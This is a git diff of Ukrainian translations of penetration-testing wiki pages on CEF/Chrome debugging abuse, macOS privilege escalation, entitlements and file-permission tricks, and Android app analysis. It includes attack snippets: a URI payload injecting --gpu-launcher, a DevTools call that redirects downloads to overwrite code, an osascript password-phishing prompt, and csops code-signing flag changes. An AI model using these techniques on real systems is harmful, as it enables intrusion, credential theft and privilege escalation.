Було виявлено, що параметри URI декодувалися з URL і використовувалися для запуску базової програми CEF, що дозволяло користувачу **впроваджувати** прапор **`--gpu-launcher`** у **командний рядок** і виконувати довільні команди.
|
||||
|
||||
Отже, корисне навантаження, як:
|
||||
```
|
||||
@ -106,7 +106,7 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
||||
|
||||
### Перезапис файлів
|
||||
|
||||
Змініть папку, куди **завантажені файли будуть збережені**, і завантажте файл, щоб **перезаписати** часто використовуваний **джерельний код** програми вашим **шкідливим кодом**.
|
||||
Змініть папку, куди **завантажені файли будуть збережені**, і завантажте файл, щоб **перезаписати** часто використовуваний **вихідний код** програми вашим **шкідливим кодом**.
|
||||
```javascript
|
||||
ws = new WebSocket(url) //URL of the chrome devtools service
|
||||
ws.send(
|
||||
@ -126,7 +126,7 @@ downloadPath: "/code/",
|
||||
|
||||
### Пост-експлуатація
|
||||
|
||||
В реальному середовищі та **після компрометації** ПК користувача, який використовує браузер на базі Chrome/Chromium, ви можете запустити процес Chrome з **активованим налагодженням та переадресувати порт налагодження**, щоб мати до нього доступ. Таким чином, ви зможете **перевіряти все, що жертва робить з Chrome, і красти чутливу інформацію**.
|
||||
У реальному середовищі та **після компрометації** ПК користувача, який використовує браузер на базі Chrome/Chromium, ви можете запустити процес Chrome з **активованим налагодженням та переадресувати порт налагодження**, щоб мати до нього доступ. Таким чином, ви зможете **перевіряти все, що жертва робить у Chrome, і красти чутливу інформацію**.
|
||||
|
||||
Схований спосіб полягає в тому, щоб **завершити кожен процес Chrome** і потім викликати щось на зразок
|
||||
```bash
|
||||
|
@ -30,7 +30,7 @@ macos-applefs.md
|
||||
mac-os-architecture/
|
||||
{{#endref}}
|
||||
|
||||
- Загальні мережеві сервіси та **протоколи** macOS
|
||||
- Загальні macOS n**етеві сервіси та протоколи**
|
||||
|
||||
{{#ref}}
|
||||
macos-protocols.md
|
||||
@ -41,13 +41,13 @@ macos-protocols.md
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
В компаніях системи **macOS** з великою ймовірністю будуть **керуватися через MDM**. Тому з точки зору атакуючого цікаво знати, **як це працює**:
|
||||
В компаніях **macOS** системи, ймовірно, будуть **керуватися за допомогою MDM**. Тому з точки зору атакуючого цікаво знати, **як це працює**:
|
||||
|
||||
{{#ref}}
|
||||
../macos-red-teaming/macos-mdm/
|
||||
{{#endref}}
|
||||
|
||||
### MacOS - Інспекція, налагодження та Fuzzing
|
||||
### MacOS - Інспекція, налагодження та фуззинг
|
||||
|
||||
{{#ref}}
|
||||
macos-apps-inspecting-debugging-and-fuzzing/
|
||||
@ -63,10 +63,10 @@ macos-security-protections/
|
||||
|
||||
### File Permissions
|
||||
|
||||
Якщо **процес, що працює від імені root, записує** файл, який може контролюватися користувачем, користувач може зловживати цим для **ескалації привілеїв**.\
|
||||
Якщо **процес, що працює як root, записує** файл, який може контролюватися користувачем, користувач може зловживати цим для **ескалації привілеїв**.\
|
||||
Це може статися в наступних ситуаціях:
|
||||
|
||||
- Файл, що використовується, вже був створений користувачем (належить користувачу)
|
||||
- Файл, що використовується, вже створений користувачем (належить користувачу)
|
||||
- Файл, що використовується, доступний для запису користувачем через групу
|
||||
- Файл, що використовується, знаходиться в каталозі, що належить користувачу (користувач може створити файл)
|
||||
- Файл, що використовується, знаходиться в каталозі, що належить root, але користувач має доступ на запис через групу (користувач може створити файл)
|
||||
@ -93,9 +93,9 @@ macos-file-extension-apps.md
|
||||
|
||||
Тому атакуючий, який хоче успішно скомпрометувати машину macOS, повинен **ескалувати свої привілеї TCC** (або навіть **обійти SIP**, залежно від його потреб).
|
||||
|
||||
Ці привілеї зазвичай надаються у формі **прав** з якими підписаний додаток, або додаток може запитати деякі доступи, і після **схвалення їх користувачем** вони можуть бути знайдені в **базах даних TCC**. Інший спосіб, яким процес може отримати ці привілеї, - це бути **дочірнім процесом** з такими **привілеями**, оскільки вони зазвичай **успадковуються**.
|
||||
Ці привілеї зазвичай надаються у формі **прав** з якими підписаний додаток, або додаток може запитати деякі доступи, і після **схвалення їх користувачем** вони можуть бути знайдені в **базах даних TCC**. Інший спосіб, яким процес може отримати ці привілеї, - це бути **дитиною процесу** з цими **привілеями**, оскільки вони зазвичай **успадковуються**.
|
||||
|
||||
Слідуйте цим посиланням, щоб знайти різні способи [**ескалації привілеїв у TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**обійти TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) і як у минулому [**SIP було обійдено**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Слідуйте цим посиланням, щоб знайти різні способи [**ескалації привілеїв у TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**обійти TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) і як у минулому [**SIP було обійдено**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## macOS Traditional Privilege Escalation
|
||||
|
||||
|
@ -3,42 +3,42 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що права доступу, які починаються з **`com.apple`**, недоступні для третіх осіб, лише Apple може їх надати.
|
||||
> Зверніть увагу, що права доступу, які починаються з **`com.apple`**, недоступні для третіх сторін, лише Apple може їх надати.
|
||||
|
||||
## Високий
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
Права доступу **`com.apple.rootless.install.heritable`** дозволяють **обійти SIP**. Перевірте [це для отримання додаткової інформації](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
Право доступу **`com.apple.rootless.install.heritable`** дозволяє **обійти SIP**. Перевірте [це для отримання додаткової інформації](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
Права доступу **`com.apple.rootless.install`** дозволяють **обійти SIP**. Перевірте [це для отримання додаткової інформації](macos-sip.md#com.apple.rootless.install).
|
||||
Право доступу **`com.apple.rootless.install`** дозволяє **обійти SIP**. Перевірте [це для отримання додаткової інформації](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (раніше називався `task_for_pid-allow`)**
|
||||
### **`com.apple.system-task-ports` (раніше називалося `task_for_pid-allow`)**
|
||||
|
||||
Ці права доступу дозволяють отримати **порт завдання для будь-якого** процесу, за винятком ядра. Перевірте [**це для отримання додаткової інформації**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
Це право доступу дозволяє отримати **порт завдання для будь-якого** процесу, за винятком ядра. Перевірте [**це для отримання додаткової інформації**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Ці права доступу дозволяють іншим процесам з правами доступу **`com.apple.security.cs.debugger`** отримати порт завдання процесу, запущеного бінарним файлом з цими правами доступу, і **впроваджувати код у нього**. Перевірте [**це для отримання додаткової інформації**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
Це право доступу дозволяє іншим процесам з правом доступу **`com.apple.security.cs.debugger`** отримати порт завдання процесу, запущеного бінарним файлом з цим правом доступу, і **впроваджувати код у нього**. Перевірте [**це для отримання додаткової інформації**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Додатки з правами доступу до інструментів налагодження можуть викликати `task_for_pid()`, щоб отримати дійсний порт завдання для незахищених і сторонніх додатків з правами доступу `Get Task Allow`, встановленими на `true`. Однак навіть з правами доступу до інструментів налагодження, налагоджувач **не може отримати порти завдання** процесів, які **не мають прав доступу `Get Task Allow`**, і які, отже, захищені захистом цілісності системи. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Додатки з правом доступу до інструментів налагодження можуть викликати `task_for_pid()`, щоб отримати дійсний порт завдання для незахищених і сторонніх додатків з правом доступу `Get Task Allow`, встановленим на `true`. Однак навіть з правом доступу до інструментів налагодження, налагоджувач **не може отримати порти завдання** процесів, які **не мають права доступу `Get Task Allow`**, і які, отже, захищені захистом цілісності системи. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Ці права доступу дозволяють **завантажувати фреймворки, плагіни або бібліотеки без підпису Apple або підпису з тим же ідентифікатором команди**, як основний виконуваний файл, тому зловмисник може зловживати завантаженням деякої довільної бібліотеки для впровадження коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Це право доступу дозволяє **завантажувати фреймворки, плагіни або бібліотеки без підпису Apple або підпису з тим же ідентифікатором команди**, тому зловмисник може зловживати завантаженням довільної бібліотеки для впровадження коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Ці права доступу дуже схожі на **`com.apple.security.cs.disable-library-validation`**, але **замість** **прямого відключення** перевірки бібліотек, вони дозволяють процесу **викликати системний виклик `csops`, щоб відключити його**.\
|
||||
Це право доступу дуже схоже на **`com.apple.security.cs.disable-library-validation`**, але **замість** **прямого відключення** перевірки бібліотек, воно дозволяє процесу **викликати системний виклик `csops`, щоб відключити його**.\
|
||||
Перевірте [**це для отримання додаткової інформації**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
Ці права доступу дозволяють **використовувати змінні середовища DYLD**, які можуть бути використані для впровадження бібліотек і коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
Це право доступу дозволяє **використовувати змінні середовища DYLD**, які можуть бути використані для впровадження бібліотек і коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` або `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
@ -50,15 +50,15 @@
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
Права доступу, необхідні для запиту **ядра на завантаження розширення ядра**.
|
||||
Право доступу, необхідне для запиту **ядра на завантаження розширення ядра**.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
Права доступу **`com.apple.private.icloud-account-access`** дозволяють спілкуватися з **`com.apple.iCloudHelper`** XPC сервісом, який надасть **токени iCloud**.
|
||||
Право доступу **`com.apple.private.icloud-account-access`** дозволяє спілкуватися з **`com.apple.iCloudHelper`** XPC сервісом, який **надасть токени iCloud**.
|
||||
|
||||
**iMovie** та **Garageband** мали ці права доступу.
|
||||
**iMovie** та **Garageband** мали це право доступу.
|
||||
|
||||
Для отримання більшої **інформації** про експлойт для **отримання токенів iCloud** з цих прав доступу перевірте доповідь: [**#OBTS v5.0: "Що відбувається на вашому Mac, залишається в iCloud Apple?!" - Войцех Регула**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Для отримання більшої **інформації** про експлойт для **отримання токенів iCloud** з цього права доступу перевірте доповідь: [**#OBTS v5.0: "Що відбувається на вашому Mac, залишається в iCloud Apple?!" - Войцех Регула**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -74,7 +74,7 @@ TODO: У [**цьому звіті**](https://jhftss.github.io/The-Nightmare-of-A
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Ці права доступу перераховують **групи ключів**, до яких має доступ додаток:
|
||||
Це право доступу перераховує **групи ключів**, до яких має доступ додаток:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
@ -87,11 +87,11 @@ TODO: У [**цьому звіті**](https://jhftss.github.io/The-Nightmare-of-A
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Надає **Повний доступ до диска** дозволи, одне з найвищих дозволів TCC, які ви можете мати.
|
||||
Надає **Повний доступ до диска**, одне з найвищих дозволів TCC, які ви можете мати.
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Дозволяє додатку надсилати події іншим додаткам, які зазвичай використовуються для **автоматизації завдань**. Контролюючи інші додатки, він може зловживати дозволами, наданими цими іншими додатками.
|
||||
Дозволяє додатку надсилати події іншим додаткам, які зазвичай використовуються для **автоматизації завдань**. Контролюючи інші додатки, він може зловживати дозволами, наданими цим іншим додаткам.
|
||||
|
||||
Наприклад, змушуючи їх запитувати у користувача його пароль:
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Дозволяє модифікувати файли всередині пакету додатків (всередині app.app), що **за замовчуванням заборонено**.
|
||||
Дозволяє модифікувати файли всередині пакету додатків (всередині app.app), що **заборонено за замовчуванням**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -161,3 +161,5 @@ TODO
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
@ -9,22 +9,22 @@
|
||||
- **читання** - ви можете **перерахувати** записи каталогу
|
||||
- **запис** - ви можете **видаляти/записувати** **файли** в каталозі і ви можете **видаляти порожні папки**.
|
||||
- Але ви **не можете видаляти/модифікувати непорожні папки**, якщо у вас немає прав на запис.
|
||||
- Ви **не можете змінити назву папки**, якщо ви не є її власником.
|
||||
- Ви **не можете змінювати назву папки**, якщо ви не є її власником.
|
||||
- **виконання** - вам **дозволено проходити** через каталог - якщо у вас немає цього права, ви не можете отримати доступ до жодних файлів всередині, або в будь-яких підкаталогах.
|
||||
|
||||
### Небезпечні комбінації
|
||||
|
||||
**Як перезаписати файл/папку, що належить root**, але:
|
||||
|
||||
- Один з батьківських **власників каталогу** в шляху є користувачем
|
||||
- Один з батьківських **власників каталогу** в шляху є **групою користувачів** з **доступом на запис**
|
||||
- Один з батьківських **власників каталогу** в шляху - це користувач
|
||||
- Один з батьківських **власників каталогу** в шляху - це **група користувачів** з **доступом на запис**
|
||||
- Група користувачів має **доступ на запис** до **файлу**
|
||||
|
||||
З будь-якою з попередніх комбінацій, зловмисник може **впровадити** **символічне/жорстке посилання** на очікуваний шлях, щоб отримати привілейований довільний запис.
|
||||
|
||||
### Спеціальний випадок папки root R+X
|
||||
|
||||
Якщо в **каталозі** є файли, до яких **тільки root має доступ R+X**, ці файли **не доступні нікому іншому**. Тому вразливість, що дозволяє **перемістити файл, доступний для читання користувачем**, який не може бути прочитаний через це **обмеження**, з цієї папки **в іншу**, може бути використана для читання цих файлів.
|
||||
Якщо в **каталозі** є файли, до яких **тільки root має доступ R+X**, вони **не доступні нікому іншому**. Тому вразливість, що дозволяє **перемістити файл, доступний для користувача**, який не може бути прочитаний через це **обмеження**, з цієї папки **в іншу**, може бути використана для читання цих файлів.
|
||||
|
||||
Приклад у: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
@ -32,7 +32,7 @@
|
||||
|
||||
### Дозволений файл/папка
|
||||
|
||||
Якщо привілейований процес записує дані в **файл**, який може бути **контрольований** **менш привілейованим користувачем**, або який міг бути **раніше створений** менш привілейованим користувачем. Користувач може просто **вказати його на інший файл** через символічне або жорстке посилання, і привілейований процес запише в цей файл.
|
||||
Якщо привілейований процес записує дані у **файл**, який може бути **контрольований** **менш привілейованим користувачем**, або який може бути **раніше створений** менш привілейованим користувачем. Користувач може просто **вказати його на інший файл** через символічне або жорстке посилання, і привілейований процес запише в цей файл.
|
||||
|
||||
Перевірте в інших розділах, де зловмисник може **зловживати довільним записом для ескалації привілеїв**.
|
||||
|
||||
@ -58,7 +58,7 @@
|
||||
```
|
||||
## Файлові дескриптори
|
||||
|
||||
### Leak FD (без `O_CLOEXEC`)
|
||||
### Витік FD (без `O_CLOEXEC`)
|
||||
|
||||
Якщо виклик `open` не має прапора `O_CLOEXEC`, файловий дескриптор буде успадкований дочірнім процесом. Отже, якщо привілейований процес відкриває привілейований файл і виконує процес, контрольований зловмисником, зловмисник **успадкує FD над привілейованим файлом**.
|
||||
|
||||
@ -120,9 +120,9 @@ ls -le /tmp/test
|
||||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
Формат файлу **AppleDouble** копіює файл разом з його ACE.
|
||||
**AppleDouble** формат файлу копіює файл разом з його ACE.
|
||||
|
||||
У [**джерельному коді**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) можна побачити, що текстове представлення ACL, збережене всередині xattr під назвою **`com.apple.acl.text`**, буде встановлено як ACL у розпакованому файлі. Отже, якщо ви стиснули додаток у zip-файл з форматом файлу **AppleDouble** з ACL, який заважає запису інших xattrs у нього... xattr карантину не було встановлено в додатку:
|
||||
У [**джерельному коді**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) можна побачити, що текстове представлення ACL, яке зберігається всередині xattr під назвою **`com.apple.acl.text`**, буде встановлено як ACL у розпакованому файлі. Отже, якщо ви стиснули додаток у zip-файл з форматом файлу **AppleDouble** з ACL, який заважає запису інших xattrs... xattr карантину не було встановлено в додатку:
|
||||
|
||||
Перевірте [**оригінальний звіт**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) для отримання додаткової інформації.
|
||||
|
||||
@ -144,7 +144,7 @@ ditto -c -k del test.zip
|
||||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Зверніть увагу, що навіть якщо це працює, пісочниця записує карантинний xattr перед цим)
|
||||
(Зверніть увагу, що навіть якщо це працює, пісочниця записує атрибут карантину xattr перед цим)
|
||||
|
||||
Не зовсім необхідно, але я залишаю це на випадок:
|
||||
|
||||
@ -154,13 +154,13 @@ macos-xattr-acls-extra-stuff.md
|
||||
|
||||
## Обхід перевірок підпису
|
||||
|
||||
### Обхід перевірок платформних бінарників
|
||||
### Обхід перевірок платформних бінарних файлів
|
||||
|
||||
Деякі перевірки безпеки перевіряють, чи є бінарник **платформним бінарником**, наприклад, щоб дозволити підключення до служби XPC. Однак, як було показано в обході на https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, можливо обійти цю перевірку, отримавши платформний бінарник (такий як /bin/ls) і впровадивши експлойт через dyld, використовуючи змінну середовища `DYLD_INSERT_LIBRARIES`.
|
||||
Деякі перевірки безпеки перевіряють, чи є бінарний файл **платформним бінарним файлом**, наприклад, щоб дозволити підключення до служби XPC. Однак, як було показано в обході на https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, можливо обійти цю перевірку, отримавши платформний бінарний файл (такий як /bin/ls) і впровадивши експлойт через dyld, використовуючи змінну середовища `DYLD_INSERT_LIBRARIES`.
|
||||
|
||||
### Обхід прапорців `CS_REQUIRE_LV` та `CS_FORCED_LV`
|
||||
|
||||
Можливо, щоб виконуваний бінарник змінив свої власні прапорці, щоб обійти перевірки з кодом, таким як:
|
||||
Можливо, щоб виконуваний бінарний файл змінив свої власні прапорці для обходу перевірок за допомогою коду, такого як:
|
||||
```c
|
||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||
int pid = getpid();
|
||||
@ -173,11 +173,11 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
|
||||
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
||||
```
|
||||
## Обхід кодових підписів
|
||||
## Bypass Code Signatures
|
||||
|
||||
Пакунки містять файл **`_CodeSignature/CodeResources`**, який містить **хеш** кожного окремого **файлу** в **пакунку**. Зверніть увагу, що хеш CodeResources також **вбудований в виконуваний файл**, тому ми не можемо з цим нічого зробити.
|
||||
Bundles містять файл **`_CodeSignature/CodeResources`**, який містить **хеш** кожного окремого **файлу** в **пакеті**. Зверніть увагу, що хеш CodeResources також **вбудований в виконуваний файл**, тому ми не можемо з цим нічого зробити.
|
||||
|
||||
Однак є деякі файли, підпис яких не буде перевірятися, у них є ключ omit у plist, такі як:
|
||||
Однак є деякі файли, підпис яких не буде перевірятися, ці файли мають ключ omit у plist, такі як:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
|
||||
</dict>
|
||||
<key>rules2</key>
|
||||
...
|
||||
<key>^(.*/)?\.DS_Store$</key>
|
||||
<key>^(.*/index.html)?\.DS_Store$</key>
|
||||
<dict>
|
||||
<key>omit</key>
|
||||
<true/>
|
||||
@ -248,16 +248,16 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
Зазвичай macOS монтує диск, спілкуючись з Mach-сервісом `com.apple.DiskArbitrarion.diskarbitrariond` (який надається `/usr/libexec/diskarbitrationd`). Якщо додати параметр `-d` до plist-файлу LaunchDaemons і перезапустити, він зберігатиме журнали в `/var/log/diskarbitrationd.log`.\
|
||||
Зазвичай macOS монтує диск, спілкуючись з Mach-сервісом `com.apple.DiskArbitrarion.diskarbitrariond` (який надається `/usr/libexec/diskarbitrationd`). Якщо додати параметр `-d` до файлу plist LaunchDaemons і перезапустити, він зберігатиме журнали в `/var/log/diskarbitrationd.log`.\
|
||||
Однак можливо використовувати інструменти, такі як `hdik` і `hdiutil`, для безпосереднього спілкування з kext `com.apple.driver.DiskImages`.
|
||||
|
||||
## Произвольні записи
|
||||
|
||||
### Періодичні sh-скрипти
|
||||
### Періодичні sh скрипти
|
||||
|
||||
Якщо ваш скрипт може бути інтерпретований як **shell script**, ви можете перезаписати **`/etc/periodic/daily/999.local`** shell-скрипт, який буде запускатися щодня.
|
||||
|
||||
Ви можете **сфальсифікувати** виконання цього скрипта за допомогою: **`sudo periodic daily`**
|
||||
Ви можете **підробити** виконання цього скрипта за допомогою: **`sudo periodic daily`**
|
||||
|
||||
### Демони
|
||||
|
||||
@ -420,7 +420,7 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
## macOS Захищені Дескриптори
|
||||
## macOS Захищені дескриптори
|
||||
|
||||
**macOS захищені дескриптори** - це функція безпеки, введена в macOS для підвищення безпеки та надійності **операцій з дескрипторами файлів** у користувацьких додатках. Ці захищені дескриптори забезпечують спосіб асоціювання специфічних обмежень або "захисників" з дескрипторами файлів, які забезпечуються ядром.
|
||||
|
||||
|
@ -13,14 +13,14 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Це основний інструмент, який вам потрібен для підключення до android-пристрою (емульованого або фізичного).\
|
||||
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали, серед інших функцій.
|
||||
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
|
||||
|
||||
Ознайомтеся з наступним списком [**команд ADB**](adb-commands.md), щоб дізнатися, як використовувати adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте в умі цю можливість**.
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте цю можливість в умі**.
|
||||
|
||||
## Інші цікаві трюки
|
||||
|
||||
@ -47,7 +47,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Статичний аналіз
|
||||
|
||||
Перш за все, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
|
||||
|
||||
### Пошук цікавої інформації
|
||||
@ -62,7 +62,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
**Огляд файлів \_Manifest.xml**_\*\* та \*\*_**strings.xml**\_\*\* може виявити потенційні вразливості безпеки\*\*. Ці файли можна отримати за допомогою декомпілерів або перейменувавши розширення файлу APK на .zip, а потім розпакувавши його.
|
||||
|
||||
**Вразливості**, виявлені з **Manifest.xml** включають:
|
||||
**Вразливості**, виявлені з **Manifest.xml**, включають:
|
||||
|
||||
- **Дебаговані програми**: Програми, які встановлені як дебаговані (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють з'єднання, які можуть призвести до експлуатації. Для подальшого розуміння того, як експлуатувати дебаговані програми, зверніться до посібника з пошуку та експлуатації дебагованих програм на пристрої.
|
||||
- **Налаштування резервного копіювання**: Атрибут `android:allowBackup="false"` повинен бути явно встановлений для програм, що працюють з чутливою інформацією, щоб запобігти несанкціонованим резервним копіям даних через adb, особливо коли увімкнено налагодження USB.
|
||||
@ -76,7 +76,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію програмі жертви.\
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію програмі жертви.\
|
||||
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в програмі жертви**.
|
||||
|
||||
Знайдіть більше інформації в:
|
||||
@ -99,12 +99,12 @@ android-task-hijacking.md
|
||||
|
||||
**Внутрішнє зберігання**
|
||||
|
||||
У Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
В Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
|
||||
1. **Статичний аналіз:**
|
||||
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
- **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис по всьому світу**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис по всьому світу**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
@ -117,7 +117,7 @@ android-task-hijacking.md
|
||||
- Зовнішнє зберігання може бути видалено або доступно будь-якою програмою, що робить його менш безпечним.
|
||||
3. **Обробка даних з зовнішнього зберігання**:
|
||||
